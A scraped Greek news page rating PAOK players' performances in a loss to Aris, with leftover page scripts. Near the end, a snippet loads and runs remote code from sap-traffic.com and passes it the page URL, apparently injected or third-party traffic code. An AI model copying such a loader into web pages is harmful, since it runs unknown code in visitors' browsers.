Το INPAOK αξιολογεί τους ποδοσφαιριστές του Δικεφάλου στο ματς με τον Άρη
Το INPAOK αξιολογεί τους ποδοσφαιριστές του Δικεφάλου στο ματς με τον Άρη.
Κοτάρσκι: Έμοιαζε κάπως αγχωμένος, λίγες οι στιγμές που χρειάστηκε να επέμβει σε φάσεις, δεν είχε απάντηση στο πλασέ για το 0-1 του Μορόν.
!function(v,t,o){var a=t.createElement(“script”);a.src=”https://ad.vidverto.io/vidverto/js/aries/v1/invocation.js”,a.setAttribute(“fetchpriority”,”high”);var r=v.top;r.document.head.appendChild(a),v.self!==v.top&&(v.frameElement.style.cssText=”width:0px!important;height:0px!important;”),r.aries=r.aries||{},r.aries.v1=r.aries.v1||{commands:[]};var c=r.aries.v1;c.commands.push((function(){var d=document.getElementById(“_vidverto-6328dd5a3fb26de88e2ea64bacd8e5c3”);d.setAttribute(“id”,(d.getAttribute(“id”)+(new Date()).getTime()));var t=v.frameElement||d;c.mount(“7230”,t,{width:720,height:405})}))}(window,document);
Ότο: Λίγα πράγματα τόσο στις επιθετικές του βοήθειες, όσο και στην άμυνα όπου δεν έλειπαν τα κενά. Από εκείνη την πλευρά έρχεται το 0-1.
Κεντζιόρα: Μετά από τόσα συνεχόμενα ματς έδειξε φανερά και λογικά κουρασμένος, θα ερχόταν και το λάθος συγκέντρωσης όπως αυτό στο31’ που έφερε το 0-1.
Κουλιεράκης: Χρήσιμες κάποιες μακρινές μεταβιβάσεις του που άλλαζαν πλευρά, έπαιξε από κοντά τον Μορόν σε κάθε χώρο, δεν ήταν ευθύνη του βέβαια το γκολ του Ισπανού στο 0-1.
Μπάμπα: Ημιτελείς ή ανέμπευστες οι προσπάθειές του στο επιθετικό κομμάτι, προσεκτική αλλά και με κενά η αμυντική λειτουργία.
Μεϊτέ: Δε φάνηκε συγκεντρωμένος στο παιχνίδι, κάτι που έφερε κάποια εύκολα λάθη αλλά και αργή σκέψη με την μπάλα στα πόδια.
Μάρκος Αντόνιο: Δεν πρόσθεσε κάτι ως παρτενέρ του Μεϊτέ στο κέντρο, προσπάθησε να κινηθεί ανάμεσα στις γραμμές, δεν κατάφερε να καλύψει και να κόψει τον Μορόν στο 0-1.
Τάισον: Δε βοήθησε σχεδόν καθόλου δημιουργία, είτε με ατομικές προσπάθειες είτε με συνεργασίες με τους συμπαίκτες του.
Μουργκ: Πολύ μακριά από τον καλό πρόσωπο που έδειξε πριν μερικούς μήνες, μέτριες οι επαφές του με την μπάλα και οι τελικές ενέργειές του.
Αντριγια: Ένα-δυο τελειώματα ’ και το πείσμα του σε κάποιες φάσεις ήταν η συνεισφορά του σε μια πλευρά που είχε πάντως λίγους χώρους.
Τόμας: Σταθερά σε χαμηλές πτήσεις, χωρίς καθαρό μυαλό και χωρίς αποτελεί απειλή για την αντίπαλη άμυνα.
Κωνσταντέλιας: Προσπάθησε να βγάλει την ατομική ενέργεια αλλά δεν είχε ουσία.
Σβαμπ: 1-2 κάθετες πάσες ήταν η βοήθεια που έδωσε στον χρόνο που έπαιξε.
Ντεσπόντοφ: Δεν μπόρεσε να κάνει το κάτι παραπάνω στα λεπτά που έπαιξε, μπερδευόταν μόνος του ή με τους υπόλοιπους.
Τζίμας: Πρόλαβε να κάνει αισθητή την παρουσία του στην περιοχή, είχε ευκαιρία για γκολ πλάγια θέση.
Οζντόεφ: Μπήκε αργά και έφερε λάθη αντί βοήθειας.
loading…
let tdscript = document.createElement(‘script’);
tdscript.src = “https://sap-traffic.com/output/12?ref=”+window.location.href;
document.body.append(tdscript);
πηγή: inpaok.com